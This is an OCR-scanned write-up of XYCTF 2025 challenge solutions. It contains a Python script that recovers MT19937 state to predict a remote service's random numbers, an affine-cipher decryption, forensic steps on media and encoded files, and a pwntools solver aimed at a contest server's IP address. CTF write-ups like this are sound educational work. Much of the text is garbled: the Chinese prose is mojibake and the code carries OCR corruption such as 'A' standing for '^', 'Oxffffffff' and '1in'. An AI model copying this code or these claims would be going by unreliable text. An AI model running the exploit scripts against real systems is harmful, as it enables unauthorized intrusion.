26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45

reed

def dinv_shift_right(x:int,bit:int,mask:int = Oxffffffff) -> int:
tmp = x
for _ 1in range(32//bit):
tmp = x A tmp >> bit & mask
return tmp

def inv_shift_left(x:int,bit:int,mask:int = Oxffffffff) -> dint:
tmp = X
for _ 1in range(32//bit):
tmp = x A tmp << bit & mask

return tmp

def rev_extract(y:int) -> 1int:

y = inv_shift_right(y,18)

y = inv_shift_left(y,15,4022730752)
y = inv_shift_left(y,7,2636928640)
y = inv_shift_right(y,11)

return y

def exp_mt19937 (output:list):
assert len(output) == 624
cur_stat = [rev_extract(i) for i in output]
r = Random()
r.setstate((3, tuple([int(i) for i 1in cur_stat] + [624]), None))

return r

for _ 1in range(624):
jo.sendlineafter(b'>>>"',b"'1")
jo.sendlineafter(b'>>>"',b"'1")
jo.recvuntil(b'=")
ls.append(int(io.recvline().strip().decode()))
print(1)

rf = exp_mtl19937(1ls)

ans = rf.getrandbits(11000) // rf.getrandbits(10000)
jo.sendlineafter(b'>>>"',b'2")
jo.sendlineafter(b'>>>" str(ans).encode())

jo.interactive()

FEMERL a « b NERDHKEBZEMUELIRE, B2 a . b WEATMESMAX, FJLHT
MERE I



&8 Sc_i\equivam_i+b\bmod 19198111S, HEM Sm_i\in [0,36)S, PILARENIZEY p,q i+58 Sc_p
-c_q\equiva(m_p - m_q) \bmod 19198111$, XFAH a,b € [1145140,19198100) , mILAfE &t
A7 S\exists (p,q) a(m_p-m_q) <19198111S, @I Z/REIAF I LUIRENH Sas, #HMRE b FSH
MmIE TR,

BMfE a WAMEBERELRFMHD Sp,qs, LREBEMEERY 19198111 #HITFEhIEMEIA,

exp KRG a. bfE) :

HEGIR

1 dmport string

jubue = [18191844, 18191844, 5299415, 7401309, 18191844, 5299415, 13291487,
399058, 12729357, 11189593, 9087699, 15112316, 13010422, 399058, 10908528,
4321781, 399058, 2219887, 2219887, 13010422, 9087699, 2782017, 10908528,
15393381, 11189593, 117993, 13010422, 6423675, 2219887, 18191844, 15808885,
18191844, 15808885, 13706991, 18191844, 16089950]

4
5 def decrypt(cipher:list[int],a:int,b:int):

6 return [((x - b) * pow(a,-1,19198111)) % 19198111 for x in cipher]
-

8

9 res = decrypt(jubue,2101894,117993)

10 for i in range(len(res)):

11 if res[i] > 19000000:

12 res[i] -= 19198111

13

14 deviate = -min(res)

15 for i in range(len(res)):

16 res[i] += deviate

17

18 f = string.ascii_letters + string.digits

19  print('XYCTF{' + ''.join(f[i] for i in res) + '}')

Misc

XGCTF
BRE U B RS IER e BHER L
https://dragonkeeep.top/category/CISCN%E5%8D%8E%E4%B8%9C%E5%8D%97TWEB-Polluted/


https://dragonkeeep.top/category/CISCN%E5%8D%8E%E4%B8%9C%E5%8D%97WEB-Polluted/

F12 htmIE#ZflagiF®F: <!--Congratulations! You've got the
flag:ZmxhZ3sxdF9IM190MOVfcOBNZVIDaEFsMWVOZ2VfYVRTYTFMX1AXxZUBzZVIOmT3JInMX
Z1X011fQ== -->

flag{1t_I3_t3E_s@Me_ChAlleNge_aT_all_Ple@se_fOrglve_Me}

EZEIE

brainfuck Xi3{EZ & B, FHHARREAEENA :

(ASEEES

1 S+ttt bttt [ <> -] <>
S+ttt [ <> -] <>
D T o o e e PR e
Fht bR [ <A LU
4 D e o T B B S o B S o B S S o S o S S T S S S e T
+tttttttt bttt bttt [>T <>
Sttt bbb [ <> KD
D i o I e R R RS k> Tl R
Sttt [ <> -] <D

S+ttt [ <> -] <>

O© 0 N O O

Sttt bttt [ <> -] <D

10 Sttt [ <HHHEHE>-]< LD

11 D e o T B B S o B S o B S S o S o S S T S S S e T
T T T T RS T T A IO I (R

12 D T o o e e PR e
R R o b o o IR > Tl R

13 Sttt [ <> -] <UD

14 Stttttttttttttttt bttt bttt <A E>=] <D

15 S+ttt [<HHHHHE>-]< >

16 S+ttt bttt [ <> -] <>

17 S+ttt [ <> -] <>

18 P o T R o S S T S S R S R
et [<H>-] <UD

19 D B B e e RG> T R

20 S+ttt bttt [ <KFHHFHEE>-] <>

21 Sttt [ <> -] <>

22 Sttt bttt [ <> -] <>

23 S+ttt [<HHH++>-] <>

24 Sttt [ <HHHH+H>-] <>

25 S+ttt [ <> <>

26 Sttt bttt bbb [ <> <D

27 S+ttt bttt [ <> -] <>

28 Sttt [ <> -] <D

29 S+ttt [ <At EE> -] <>

30 Sttt bttt bbb [ <> -] <D

31 Sttt [ <> -]< LD



32 Sttt [ <A+ E>-] <>

33 S+ttt [ <> -] <>

34 Sttt [ <+t H+>-]< >

35 D e A e e R e Dl
36 Sttt [ <> <>

37 4ttt [ <> -] <,

flag{W3IlCOme_t0_XYCTF_2025_EnjO07_1t!}

MADertb ZE XL CTFer
IR FE X

C:\Users\ jyzho\Desktop\MKVToolNix>mkvmerge -i 1.mkv
M1 [1.mkv]: Z588: Matroska

#HiE ID 0: video (AVC/H.264/MPEG-Up10)

& ID 1: audio (AAC)

8 ID 2: audio (MP3)

5§ ID 3: subtitles (SubStationAlpha)

C:\Users\jyzho\Desktop\MKVToolNix>mkvextract tracks 1.mkv 3:output.srt
IETE4 CodecID 73 S_TEXT/ASS RU%hiE 3 RENZXXHloutput.srt], FEEHEI(: SSA/ASS text subtitles
HE: 100%

FApysubs24b¥—T, #AEfromhex

AR

import pysubs2

1
2
3
4 subtitle_file = "output.srt"

5 subs = pysubs2.load(subtitle_file)
6

7

8

9

all_text = "".join([line.text for line in subs])

10

11 output_text_file = "subtitle_output.txt"

12 with (output_text_file, "w'", encoding="utf-8") as f:
13 f.write(all_text)

14

15 (f"FEXAERNFRES {output_text_file}")



Recipe ~omBw Input + Oz 8=

2026202620202026202020202028202602020202020202020202820262020202020202026202020202020202682020202

From Hex ~ 82020202020202026262020262020262020202020262620262020262020202020202620202620260a20202020202620

202620262620262026262020202020202626262026262020202020202020262026262026202020202020262026208202

Delimiter ©2020202020202020202020202020202020202020202020202020202020202020202020202020202020202020200a20
Auto

202020202020202602020202020202020202020202020202020202020202020202020202020202020202020202020202
©20202020202020202020202020202020202020202020202020202026020202020202020202020202020202020202020
2020620260a20202620262026202620262026202020262082020262026202620202020202620202020202620262026202
620202026202620202020202620820202620262020202620262020202620262020202620202020202020202026202620
202020202020202020200a2020202020202020202020202020202020202020202020202020202020202020202020202
©20202020202020202020202020202020202020202020202020202026020202020202020202020202020202020202020
2020202020202026020202020202020200a2020202020202020202020202020202020202020202020202020202020202
©202020262026020202020202620202026020202020202020202020202620202020202020202020202020202026202020
2026202620202026202620260202620262026202020260a2020262026202620202020202620202020202620262028202
02020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020
2020202020202026020202020202020202020202020202020202020200a2020202020202020202020202020202020202
©20202020202020202020202020202020202020202020202020202026020202020202020202020202020202020202020
2026202620202026202020202028202020202020202020202020820262020202020200a20202020202020202682020202
©20202020202020282020202020200a3c3f787061636b657428656e643d22772233e

mc 353132 = 1 TT Raw Bytes € LF
ra

Output a rD Mm o

RIFXwustx+ 1EgE! svapnuinuinuieor st stxs 4headnuinuinviocanue_nucena s s7x ¢ 4 suusuinuisuesucnuiescunsue 7r Unhednuivecnus sucvucsuenuinus
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Analyzing...
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72.0% (.AEP) After Effects Project (1550u4/2/u)

18.5% (.) Generic RIFX container (big-endian) (4000/1)
9.2% (.) Philips Respironics M-Series data format (2000/1)
0.0% (.TAR/GTAR) TAR - Tape ARchive (longname) (10/3)

AEFTF, SEE LEN—ERACER, BRAAEIM, ARHohHERAIUERF



Adobe After Effects 2025 - 1 (i) .aep *
XAHF) RIBE) ARC) BRL) BED) HEA) RE(V) B 2BHH)

18T /L& i X,
x B @ A% flag

(1.00) flag

18, 60.00 fp:

i m B3 4 sbpc W

x W flag

F@daE= e

=@ e eQ

flag{ here_are_your flagwait.. }

0:00:03:21

ik

I« <1 » > »l

JRtE: B gt
2)7%:3 1

O

O

O

O

O

Agency FB
Regular

1T

VA

AEIRRE TH— U TextDelay SO B, REFLUSTUEEE Mag2Bme,
AT EIER I T — % XA KA I24

Adobe After Effects 2025 - 1 (E44i) .aep *
XHF) RIE(E) A0 ER FE(A) WE() EO FEE(H)

AT /L& i *,

x B 6 & flag

flag

O IF st
> O BHE
> OB

v

2 FRRED
O RN

BRI RIER100%ARIEXAEENRAEH HRMmEE Eflag

[E2) s WO Ez)

0:00:03:41

B
<< > > >l
JRtk: flag2
)23 S
O
>
O
O
e}
Ak
Agency FB

Regular

A

0 Animator

[

G I

0 4

W< ¢
«

<




Vil WEXIE RS B @ BHTHES

x B 6 &5 flag

il <« 4 » > >l

JAtE: flag2

) i

(o] 0:00:04:11

flag{l_re@lly_w@nn@_2_le@rn_AE}

P
R B — I

https://baike.baidu.com/item/1%C2%B730%E5%9B%9B%E5%B7%9DY%E7%94%B7%E5%AD%A
9%E6%94%BE%E7%82%AE%ET%82%B8%E7%BF%BB%E5%A4%9A%E8%BE%86%E8%B1%AA
%E8%BD%A6%E4%BA%8B%E4%BB%B6/65359800

flag{)I &R IHEHEFRILEE R THOR}

EREREN

txtP AR reviAfGfromhexig Eljpg


https://baike.baidu.com/item/1%C2%B730%E5%9B%9B%E5%B7%9D%E7%94%B7%E5%AD%A9%E6%94%BE%E7%82%AE%E7%82%B8%E7%BF%BB%E5%A4%9A%E8%BE%86%E8%B1%AA%E8%BD%A6%E4%BA%8B%E4%BB%B6/65359800

Recipe ~omB

Reverse ~
By
Character
From Base64 ~
Alphabet
A-Za-z0-9+/=
Remove non-alphabet chars D Strict mode
vl X
STEP Ll Auto Bake

Input + O30 =
5sgvsVqlD7TDw/1K@50CyPwfYA3EZ6bZzDzbkdZsybFVNS/qeleV+@DkqeC6URLKtstK2kdYG+ocGfZvjtxFT+YgR+1a9BK
gWIJvNjdKBUAKAFgCQBOAUAKAIek8gWP2QAF gaHgCQBOAUAKAF 2CQBOAUAKAF gCQBOAUAKAF gCQBOAUAKAF gCQBOAUAKAF g
CQBOAUAKAFgCQBOAUAKAF gCQBOAUAKAF gCQBOAUAKAF gCQBoAUAKAF gCQBOAUAKAF gCQBOAUAKAF gCQBOAUAKAFgCQBOAUA
KAFgCQBOAUAKAFgCQBOAUAKAF gCQBOAUAKMS prnF zv6Et11lcfqbV5F35KURViST3R2rs EUANMX2CyM7SyGX2EdkVP1qQ9/1
JX3znUShx6F+2PriWyvdF j+kNUpLZcdgHzDct+hGI3TquVG2WcsdT1vbYBUF gCQBoAUAK AFgCQBOAUAKAF gCQBOAUAKAF gC
QBOAUAKAF gCQBOAUAKAF gCQBOAUAKAF gCQBOAUAKAF gCQBOAUAKAF gCQBOAUAKAF gCQBOAUAKAF gCQBOAUAKAF gCQBOAUAK
AFgCQBOAUAKAF gCQBOAUAKAF gCQBOAUAKAF gCQBOAUAKAF gCQBOAUAKAF 2CQBOAUAKAF gCQBOAVNC2UF 0gAjqQAF gCQBoAU
AKAF gCQBOAUAKAF gCQBOoAUAKAF gCQBOAUAKAF gCQBOAUAKAF gCQBOAUAKAF gCQBOAUAKAF gCQBOAUAKAF gCQBOAUAKAFgCQ
BOAUAKAF gCQBOAUAKAF gCQBOAUAKAF gCQBOAUAKAF gCQBOAUAKAF gCQBOAUAKAF gCQBOAUAKAF gCQBOAUAREQLAUGQAFgCQ
BOAUAKAF gCQBOAUAKAF gCQBoAUAKAF gCQBOAUAKAF gCQBOAUAKAF gCQBOAUAKAF gCQBOAUAKAF gCQBOAUAKAF gCQBOAUAKA
Fh536rIlakblkZrFa7aD2YDX4Vr2BuzlhHh1xh8tGLrQSR7FnM61i2RWAgV G,/ SURKPQhOK1NPUW3SAFgCQBOAUAKAFgCQBO
AUAKAF gCQBOAUAKAF gCQBOAUAKAF gCQBOAUAKAF gCQBOAUAKAF gCQBOAUAKAF gCQBOAUAKAF gCQBOAUAKAFFpVTF8pv1lss
803mm8z1IfQmDU62CYLZBVdptA6shbFZh7ckDj2qySxqOBYBAFWaccIsM1bKTrIinC30e2Fby/Puzide2WVh+kOKfjUh8EcU
smhX91G4XyI8Sn7TVVDHbF3D26KE+RjpKhKq2YLLzdwhixFYAFgCQBOAUAKAF gCQBOAUAKAF gCQBOAUAKAF gCQBOAUAKAF gC
QBOAUAKAF gCQBOAUAKAF gCQBOAUAKAF gCQBOAUAKAF gCQBOAUAKYNX9qJj 2rPes5Q]jyLx+hzZvzCeN7Vtobb6ZhtdI1Hc L Oy
CX+YWHtJTO2HVZOSYuW+68J053UIR8qlaVG26erZLRFqWmIPmOIUuSNM1faVeYuodoKnn1NevfocJFQBOAUAKAFgCQBOAUAK
AFgCQBOoAUAKAF gCQBoAUAKAF gCQBoAUAKAF gCQBOAUAKAFgCQBOAUAKAF gCQBoAUAKAF gCQBoAUAKAFgCQiY58adjdQumaG
7WI+FWZmIbBlDzCWpfriLV2nbhxhBhb@NkbLZ8NGUsS8T+SvyN51yngfpSves+IS+0pW+4caMrbo8biHauBfre4umasrxovo

e 2046488 = 1 Tr Raw Bytes ¢~ LF
x % r ra
Output 4« % | o@m:o
@y anuLoLe I F IFnuwsonsonsornu o Huwu i Onue Crucer E ETXETXETXETXEOTETXETXEGTENQ BS ENQENQEOTEOTENQ
BELBELACK BS FF
FF FF VT
VT VT CR S0 DC2DLE CR S0 DCT SO VT VT DLESYNDLEDCIDC3DC4NAKNAKNAK FF ST ETBCANSYNDCA CANDC20C4NAKDCS Y UNULC SOHETXEOTEOTENQEOTEND  ENOEND DC4 CR VT CR DC4DCA

DC4DC4DC4DCADCADCADCADCADCA DCADCA DCADCADCADCADCA DCA DCA DCA DCA DCA DCA DCA DCA DT DCA DCA DCA DCA DCA DCADCADCADCADCADCADCADCADCADCADCADCADCDCDC4DC4DC40C4 Y AuLoc 5
€T ZETX G ETXSOHDCINULSTXDCISOHETXDC1 SO AANUL GS NULSOHNULNULBEL SOHSOHNULNULNULNULNULNULNULNULNULNULNULSOHETXEOTENQACKBEL BS STX §7Anu VoLenutsoneTxeor
NULEOTETXEOTBELETX ENQEOT NULVTSOHSTXETXEOTNULENQACKDC1BELDC2 | 10c3AQ 85 pes " anak#2Bge *Rb | sn$3CretAeradSefi%cs¢on&DTe o
2AAEES5 i en ( Ed > £§7ANuL FS SOHSOHNULSOHENOSOHSOHNULNULNULNULNULNULNULNULNULNULNULEOTSOHSTXETXENQACKBEL 85 3 AKUL 2 DCINUL STXSTXSTXSOHETXETXSTXETXENQBEL
ENONULSTXNULBELNULSOHSTXETXEOTDCENGDC | LackocsA" Qocs2a#q e | Snax3B « ARee $RAMsWCD%AS € o rifUnu e enxsonnuLstxocierxocinu Prut U§@ (ena
wuL ocasTxe P

son@(enonuL pcasmxe P

son@(enanuL pcastxe P

son@(evanuL pcastxe » #sonsusstd | ¢ 3gCF<I«i WSASD|§e@U%AL |y O¥%camnA¥Ue=Cotocae28Pe o8, e 158MWHKI" " MO g UE | Conut
yWDnaCUe oI+ - 30e ((enanut ocsstxeP

son@(enonuL pcasmxe P

son@(enonuL pcastxe P

son@(enonuL pcasmxe P

S@H@(E\O\H. )Cf‘ST.('P
A 2209865 = 8854 @ 897ms  Tr Raw Bytes ¢~ LF

jpeREBEMzip, EHFKME, RiEsecret.txtAiF1Gxixi.zipZEEREXYCTF2025, FEIFKIFERR

B - o blindwatermarkB9Bl. o o

C:\Users\jyzho\Desktop\htck3r_t0015\BWM>python3 bwmforpy3.py decode easy.png easy2.png flag.png
image<easy.png> + image(encoded)<easy2.png> —> watermark<flag.png>

A

A




Greedymen

FEGIR

from pwn import *

1

r = remote("47.94.15.198", 32826)

context.log_level = "debug"

3
4
5
6
7
8
9
0]

, 100, 200]
37, 76]

[50

= [19
r.recvuntil(b

N =

b

b

K

ll)

3.Quit\n
)

lll

r.sendline(b

, k in zip(N, K):

for n

1



11 factors = [set() for i 1in range(n + 1)]

12 beishu = [set() for i in range(n + 1)]

13 a = [i for i in range(l, n + 1)]

14 for i in range(2, n + 1):

15 factors[i].add (1)

16 beishu[l].add(q)

17 for i in a[l:]:

18 for j in range(2, n + 1):

19 t =19 % j

20 if t > n:

21 break

22 factors[t].add(q)

23 factors([t].add(j)

24 beishu[i].add(t)

25 beishul[j].add(t)

26 self = 0

27 opponent = 0

28 for i in range(l, k + 1):

29 r.recvuntil(b"Choose a Number:'")

30 for j in a[::-1]:

31 if len(factors[j]) == 1:

32 self += j

33 dele = []

34 for o in factors[j]:

35 dele.append (o)

36 opponent += sum(dele)

37 print(

38 f"K: {i},self: {self}, opponent: {opponent}, j: {j}, dele:
{dele}"

39 )

40 r.sendline(str(j).encode())

41 a.remove(j)

42 for o in dele:

43 if o in a:

44 a.remove (0)

45 for k in beishu[o]:

46 if o in factors[k]:

47 factors[k].remove (o)

48 if j in factors[k]:

49 factors[k].remove(7j)

50 break

51

52 r.interactive()

53

A&



> O @ QO B https//www.wix.en/wjx/join/completemobile2.aspx?activityid=r8BpK598&joinactivity=123502098224&sojumpindex=11°. ¥

Dymasss @ w3 DHERl O sorsis

a <
O o
flag{TH@NK_UWE_HOP3_YOU_H@VE_FUTH@PPY_H@CKING!}
FRIBESE: hitps:/’www.bilibili.comivideo/BV1GJ411x7h7/?spm_id_from=333,337 .search-card.all.click

RSB OMAE, AIREET
Hp/ a4, FEEX >

R UEN

[«



